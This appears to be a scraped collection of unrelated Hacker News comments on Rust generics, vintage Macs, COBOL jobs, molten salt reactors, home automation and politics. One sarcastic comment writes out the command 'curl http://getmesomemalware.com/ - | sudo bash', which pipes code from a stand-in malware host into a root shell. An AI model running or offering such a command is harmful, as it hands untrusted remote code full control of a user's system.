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I kind of get that feeling, too.

Rust uses "traits" to do both generic-like things and inheritance-like things. It's not clear this was a win. The result seems to be a system which does both badly.

Rust generics are very restrictive. They're not at all like C++ generics. It's not enough that every operation on a type needed by a generic be implemented. The type has to be part of a single trait that provides for all those operations. It's like C++ subclassing. So generics over types defined by others can be impossible to write in Rust. This has no safety benefit, since generics are resolved at compile time and all safety tests can be made after generic expansion.

Traits and fixed array bounds do not play well together. This is considered a bug, and it's been a bug since at least 2017. Generic parameters can only be types, not numbers. This led to a horrible hack involving a Rust crate which has types U1, U2... U50 or so, so small numeric constants can be bashed through the Rust type system.

Not seeing the benefit of all this.

I have to go struggle with another non-helpful "lifetime `'static` required" message from the borrow checker now.
EV was great but I wasted so many hours with Barrack. It's the one game I wish would return.
Thanks a lot! Just to clarify, I’m not taking myself down (I’m really happy with where Cloakist is at) - I just felt like writing some satire to mock all similar serious articles in that genre, including my own. And congrats on the awesome work at Cronitor!
I owned a Macintosh Quadra 650 in 2001 -- bought it for C$60 from an outgoing senior -- and it was already long in the tooth when I had it (the original Quadra 650 was released in 1993).

It ran System 7.1. It was a beautiful machine but I couldn't get any real work done on it -- the browser (IE for Mac) was too slow, and ClarisWorks was too simple.

I believe there are pivot points in computer technology. A machine just after a pivot will last a long time, while a machine just one year earlier will age badly.

My main desktop was a Dell Inspiron 530 Core 2 Duo from 2005-2020. The Core 2 Duo was a long lasting chip, and I could watch YouTube, browse the web on the latest Firefox, etc. with no problems at all the way up to the start of the pandemic this year (I recently upgraded to a 2014 Dell i7, which I'll likely keep for another 10 years). If I had a Core Solo, I'd likely have dumped it.

I eventually sold the Quadra (and the Mac II, Mac SE, the Sun SPARCstation 1 pizzabox, and all the other vintage machines I had in my college apartment). They were fun to own for a while, but ultimately impractical to keep around.
Do these jobs train you in on COBOL, or do you have to be an expert in it already? If you have to be an expert already how are people learning COBOL / preparing for the interview to get this kind of job?
Also, there is no pressure build up, which is what caused the big explosion in Fukushima. All the coolant starts boiling, turning into gas, and well the rest was in the news
> It's certainly plausible.

Something being plausible is not evidence and doesn't support a claim. You are basically saying "you can't prove it isn't true", which isn't an argument at all. What is evidence is actual assessments and an understanding of the underlying technologies, something we do have and speaks against reclamation.

> The rest of your math is largely fictional because you can't buy a pair of new AirPods without the charging case.

This makes it pretty clear you aren’t even arguing in good faith. We have a device with 3 components (two of which are identical). We know the price of the combined 3, and we know the price of the 1 unique unit, that gives us a very accurate idea of the retail price of the 2 matching units. It is basic math, not some pie in the sky made up numbers. This is what Apple is selling them for, that is the retail value. What is fictional math is your asserting that if Apple is charging $50 for a replacement, the original must be worth about $50 back to Apple. Since their replacement cost is pretty much the same as their initial price point, you are just buying a replacement. This is pretty basic.

If I am charging $6 for a bag with an orange and two apples, and $3 for a single orange, we can be pretty sure the Apples are about $1.50 each. If you get a rotted apple and I say I’ll take it back and give you a fresh one for $1.40, I’m just selling you another apple. I can just throw the rotted one in the garbage.
Yes, estate taxes are progressive taxes. See Bernie Sanders' proposal:

https://www.sanders.senate.gov/newsroom/recent-business/a-pr....
> This formidable safety tactic is only possible if the fuel is a liquid." [1]

Isn't something similar possible with pebble reactors, at least in principle?
> The case of COBOL is of interest as there was a wave of articles this year suggesting there was some sort of anomaly on the market: tons of COBOL programs and not a soul alive to maintain them.

There’s probably something more like a legitimate short-term shortage in that case, because you have lots of immediate demand for changes (because of urgent business process changes) to stale legacy systems, so you really don’t have the luxury of waiting on long-term corrective mechanisms like retraining, price signalling through the pipeline for workforce entrants, etc., before the value opportunity is missed. COVID-19 and the resulting (many probably short-term) legal and business changes created a number of market anomalies of that kind.
> Daily U.S. death toll will exceed 9/11′s for months.

Wow.

So it's over 3000 young, well educated, working age people, in cities dying a day?

That's unheard of in Europe. Compared to Europe you'd expect about that number but far older and often sick.
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> Why? Because, for some reason, they don't want people hosting web servers on their own computers. That just can't be allowed, for some reason.

> But why? Why can't I have gigabit upstream on my connection, and why the fuck shouldn't I be able to host a public web site from my own computer, on my own internet connection?

Dear t0mbstone,

We are sorry to learn that your residential package doesn't meet your current needs. As a valued customer of $LOCAL_MONOPOLY_ISP we would be glad to upgrade your connection with no additional hardware install to our enterprise and small business tier for only $X_LOCAL_CURRENCY a month. Please get in touch with one of our customer rep to assist you.

Sincerely, $LOCAL_MONOPOLY_ISP

That's why.
Yep, they are there as 2 countries: Sudan and South Sudan.
I think those are the official names.
Exorbitant fees not shown in the search function is the most annoying part about searching Airbnb, because it makes the prices in the search page prices look artificially low. I think it's designed encouraging owners to do so, since it makes it seem like airbnbs are way cheaper than hotels.
White House told FDA chief to approve Pfizer-BioNTech vaccine or resign
Actually, we do have ~half the country saying Narcan doesn't work. The argument is a bit more nuanced then that, but that's what it boils down to.
supposedly the time/logic bomb adobe has placed in its updates "months ago" will prevent flash content from being played, so if anyone wants to continue to use flash content, we need to identify a place in time when the update does not contain the malware. so if you have restore points, or backups of your flash player for each update you should be able to find one that will work. i wonder if it could be as simple as changing the system clock and finding a flashplayer version that continues to work, or is there an absolute tick count of some sort that will bork the version.

This also means there is a vacuum so a lot of replacement players for viewing flash content should suddenly popup, the problem being who to trust.

i get the idea that there are problems with flash. There is a problem with the idea that eliminating the adobe method of veiwing flash content will make things better for the user.
I would love to do so! I'm a masters student who has been wishing there was an advanced compilers course in my program, there's only the undergrad level one, so this is perfect! Let me know how I can get in contact.
Innovation is learned. When u go to school, u r mostly rated on giving the single correct answer. This is fine. But if you get a chance to go into graduate studies (Ph.D.), u would see some good innovators there, and learn how to innovate. I am sure there are other life conditions that also teach you how to innovate. But I agree, by comparisons with the product managers in the enterprise where I work, people are scared of innovations and prefer the sure thing instead.
I was part of, and agree that the 90s Mac fanaticism was far, far over the top.

Then came the iPhone.
It seems like you stopped reading before my last sentence.
This is a great point. Can anyone find a link to the raw dataset? Happy to whip up a better visualization.
Let the name speak The deep meaning of Ghanaian First Names
Nice. I haven't been able to find anything like that up until now. I really wish the y-axis on that graph started at zero, though.
Home Assistant automations have been incredibly useful/powerful, and make life a little more convenient. I have a few set up:

- Play a chime/alert over my Sonos system if a door gets left open for longer than a minute (https://labzilla.io/blog/homeassistant-door-chime).

- Turn off my window air conditioners when I leave my apartment for more than 15 minutes, and turn them back on again when I'm within a block of my apartment (or if it gets above 80 degrees).

- Automatically turn on lights when I come home.

- Play a chime/alert over the Sonos when laundry is finished (I use a SmartThings button to trigger a timer; one tap = 30 minutes wash, double tap = 45 minute dry.)

I also have a few cron jobs to move automatic backup files from my colo server to my NAS at home. I use healthchecks.io to automatically alert me if the job fails to run.
Don’t beat yourself up, I didn’t read it.
An enormous amount of public health resources are devoted to deterring smoking. It's illegal indoors most places, and outdoor smoking bans are not uncommon. We've certainly decided it's dangerous and attempted to stop it!
> or engineering (and other) talent will look elsewhere.

I agree in spirit, unfortunately there is far more reasonable talent than reasonable places to look elsewhere.
> This is misinformation pulling on the heartstrings of the non-logical. Most people who caught covid would have died if they caught the normal flu...like every other year.

Even if that were true, I fail to see how it is relevant.

We demonstrably have massively more people dying from COVID than die from normal flues, so either COVID is more fatal than normal flu, or we have a massive amount of people catching COVID who would not have caught normal flu.
Yes it’s all very internet-y Us v. Them and it goes both ways.
WH1000XM4 should be cheaper.

- Controls are annoying i.e. you have to swipe 20 times on the earcup and then waiting for a deafening beep to set the maximum volume.

- Loses track of current volume on different devices.

- Pairing with multiple devices rarely works.

- Audio quality is average.

The only reason people rave about is its noise cancelling.
It's crazy there are still people here who don't realize that ISIS was created because of US involvement. Great book with link below on the topic of America's actions in the middle east that talks about everything starting from Carter in the late 70s to time of publishing in 2016. Highly suggest reading.

https://www.penguinrandomhouse.com/books/241154/americas-war...
Please do not invent Uber for nuclear.
My last laptop was a System76, and my current is a Purism Librem 15. Also no problems with suspend/resume.
Sure, but those questions have to be answered. Is there a system that guarantees people can own something? Is there a system that prevents it from being inherited? Else you prevent wealth generation for anyone coming to the country anew.

I agree that a reset on the extravagantly wealthy is needed...but that can also just take the form of, say, a wealth tax, without also raising questions on how new people enter the system fairly.
The military treats ADHD the same way and won't take anyone who's used meds for it in the past year. That's the official line, anyway.

In reality, recruiters tell candidates to lie about the meds ("everybody does it") and to stay off them long enough to pass the urine test.
In some contexts, a subcritical geometry is simply a plastic jug that's too small to hold a critical mass. Obviously they're not using plastic jugs for this, but the principle of the thing is pretty straight forward. They could create a wide 'dish' under the reactor which, if the liquid fuel were drained into, would spread the fuel out into a shallow puddle using the self-leveling property of fluids.
It's actually the opposite: If this time was so valuable, why wouldn't there be more of it? Why is it so important for the individual to have a child if you're never going to spend any time with them down the line? This is about what a specific culture (Modern Americans) are valuing. You can agree or disagree with that valuation (and whether it's ungrateful children or active seniors causing the time issue) but it's a valid analysis.
One of the three major consoles is ARM based and one of the best selling systems of all time. From last gen, the PS Vita was ARM based and considered high end for mobile graphics at the time. Apple has already crushed Intel in on chip graphics and Nvidia is heavily invested in ARM.

I don’t think ARM and graphics will long be known for poor performance.

As a fan of AMD, I hope they see the writing on the wall and are planning accordingly. It would not be surprising to see the successors to the PS5 and Xbox Series running on ARM.
No it's boundary issues and meddling and it's not remotely OK.
All of that applies to me... Again, that definitely gives me the time to do so on weekends but during a work week it would just be unhealthy. I can't even fathom staring at a screen even longer and I already get teary eyed every day. But I am provably projecting my issues onto other people. Maybe they have less stress/pressure at their jobs.

I am getting out of it though, I am starting to study CS at university next year. So hopefully that will be a bit less stressful because I am well prepared.
Maelstrom, Apeiron, and Barrack are the games I remember most fondly, and more than the gameplay, it's the sound design that I remember most clearly.

Deimos Rising was also a lot of fun.

Strangely, I never got into Escape Velocity. I think maybe I'd stopped using Macs by then.
> If I was on the company side, I'd be pissed at the initial pricing and the money that was left on the table.

Eh, would you really though? I suppose maybe a maniacally focused founder or CEO might. But anyone in a position to be involved in these decisions has a huge personal stake in the situation. If I thought I was going to make $100M and instead I made $200M, it's hard to imagine being mad at the bankers for leaving the company's money on the table. But maybe that's why I'm not a big company executive.

But anyway, the flip side of a transaction that is incredibly important and you do only once, is that if you go against the norm and it goes badly, it could go very badly and you might not get a redo. If you go along with the experts, you are genuinely probably taking less risk.
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Having a job doesn't disqualify a person from forming a separate, revenue generating business.
Garibaldi's troops got a brief scene in "The Leopard". I'm sure that there's more than one Italian movie featuring Garibaldi.
I didn't see €88k in the video... but I did find it on Amazon!

https://www.amazon.com/Molten-Salt-Loop-40-Liter/dp/B077782Y...

$88,000 + $4.49 shipping.
If the US government was serious about wanting to let nuclear power development happen in the US, they should set up a location where companies could work with live nuclear material while developing reactors. Workers could be required to have some type of security clearance and each company could have its own building(s) to avoid "mistakes" at one company from effecting other companies people and worksites. OSHA rules could be relaxed to allow quicker development, as everyone working there will be well informed of the radiation risks. The former nuclear test site in Nevada would seem to be a great location for this.
I don't think you're being voted for a non-left opinion, and Hacker News certainly allows for non-left opinions more than most other forums.

You're being downvoted for a nonsensical opinion.
Nice, although I'd have wanted a segment on compiler testing.
Interesting, are you suggesting that a large part of the M1 performance advantage is thanks to the weaker ARM memory model?

Is the 20% perf hit of TSO mode that you cite an ARM vs. ARM comparison? If so, that would be pretty damning.

Is there an easy way to flip the M1 into TSO mode for benchmarking? I would love to observe this 20% for myself.
Awesome. Link?
Thank you for this wonderful advice!
This usef to be the case perhaps. Check out documentation on SystemSuspend and doze mode in current Android.
Move fast and irradiate things.
Check syslog, often there's either a PCI device (e.g. an ethernet card) that wakes up the machine immediately after it goes to sleep, or a process refuses to freeze/stop. ACPI wakeup problems can be fixed using /proc/acpi/wakeup, there you'll also see which devices can wake up the machine and you can disable them one by one to find out where your problem lies (though syslog should already tell you what woke up the machine or kept it from suspending).

That said I haven't had a single suspend/wakeup issue with my Linux machine in years, I even find Windows considerably more buggy and unstable in this respect.
So, key person*?
> but there are plenty of things with longer than 5 year support.

Not really in consumer electronics.
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> BNP Paribas

Despite producing some of the best engineering talent in the world it seems that French engineer are systematically underpaid.
A lot of wireless headphones have a small wired jack you can use in the event of no power.
It operates at a higher level than puppeteer/playwright, and (at least in my personal and professional experience - others in the thread disagree) more reliably than selenium or libraries which wrap it.
tldr: Four employees leave fb and claim it’s for ethical reasons. Journo believes them, calls them “key people” for a more clickbait headline.
Others may have to read your code.
I’ve worked on multiple compilers (optimizations expert) at MSFT on VS and CUDA and gave developed a DSL and worked on Database Compilers.
I can’t hire compiler people with right skills.
We’re building an IDE and those parsers are written differently, and we use Scala packrat parser combinators.
These courses teach very little judgement or industry relevant stuff. When do you use packrat parser vs LALR vs LL? Good luck hiring an engineer with advanced compiler courses knowing any of this.
I’d like to sit down all university professors who teach compiler courses and teach them a course on what’s relevant.
This just further highlights the delusion that everyone is living in right now, 50% of Americans think the other 50% is out to kill them and take away their basic rights.

This is true of both sides, they each truly believe the other side is a real danger. And both sides will say the other side is the real problem and I’m both siding something that is obviously one sided.

I cross the divide and have emphatically, honestly, without any irony been called an evil socialist by one and nazi authoritarian by the other.
It's not a particularly well-paying or common job. I live an area with a large number of insurance companies and banking HQs, so COBOL jobs are a little more common than most of the US. Most job postings are for contractors paying mid-30s to lower 40s per hour, with a handful in the 50s.

That's an okay salary in absolute terms, but it's not a great one for a software engineering position. Even in a fly-over state.

But taking that job is basically career suicide. After 3-5 years of doing that, you'll be completely unemployable outside of insurance unless you spend time on your own learning useful skills. And if you do that, you're probably starting back down in a junior or mid-level role.

Anyone would be much better off getting an AWS cert and learning to write SQL.
Well that article was a waste of time.

I will be down voted with this reddit-like comment but in other news running "curl http://getmesomemalware.com/ - | sudo bash" and then entering your password proves just how insecure Linux actually is.
I am not saying I agree with it, just pointing out that some organizations consider long-term viability as a key component to these kinds of decisions. Just because a fork exists doesn’t qualify it to be a drop-in substitute.
https://archive.is/Q1uKk
This is both shocking and promising. Looks like the rate is normalizing relative to previous years. That means the steps we're taking, treatments, etc. are working.
Same! I love my 70's bookshelf speakers and the amp is perfection. My sub is newer, but only early 2000's new (and I lucked into it)
I triple boot my MacBookPro with OSX, Ubuntu 20.04 and Haiku. Ubuntu is unusable with the fan noise and low battery life. Funnily, Haiku has best battery life of all 3.
It's weird how normalized censorship has become in just one year.

Yeah, yeah, I know Facebook is a "private entity, and they can do what they want with their platform", spare me. Facebook is a social media monopoly. We need to protect free speech on these "private" monolith social media platforms before it's too late.
Is wearing a mask while in public really so unbearable?
What does it matter? Should we care less about someone because they're not living in an "iconic tower" in "the flagship city of the country?"
PowerBook G3 to M1 MacBook Pro – We sure have come a long way
The site loads an adsbygoogle.js script from https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.....

I can't see any ads on the site. Is this load due to the site being hosted on a Google platform like GCP or Firebase?
At 80 seconds in the video he states they sell it for 88k
This would not be melting down. Melting down is melting out of the containment device, which this is not doing. True it is melting INTO a secondary containment device but unless it continues to melt through that it would not be a 'melt down'
Show HN: Hide your private photos, in plain sight
Scrambly lets you scramble your private photos into an unrecognizable state so that you can save or send them without anyone being able to see whats in the image. All you have to is enter the correct password and your photo will be restored to its original state.

https://scrambly.vercel.app

Photos are never uploaded out of the browser, but if you want more security it is open source so you can run it yourself locally: https://github.com/dasveloper/Scrambly
Those strategic reasons are dumb. Getting rid of oil dependence was the smart option.
This is such an awesome accomplishment for the team and a great demo for the AZdecrypt program used to help decipher the message.

http://www.zodiackillersite.com/viewtopic.php?f=81&t=3198
Syria is such a complicated political situation that I don't think you can reasonably chalk it up to "America did Syria."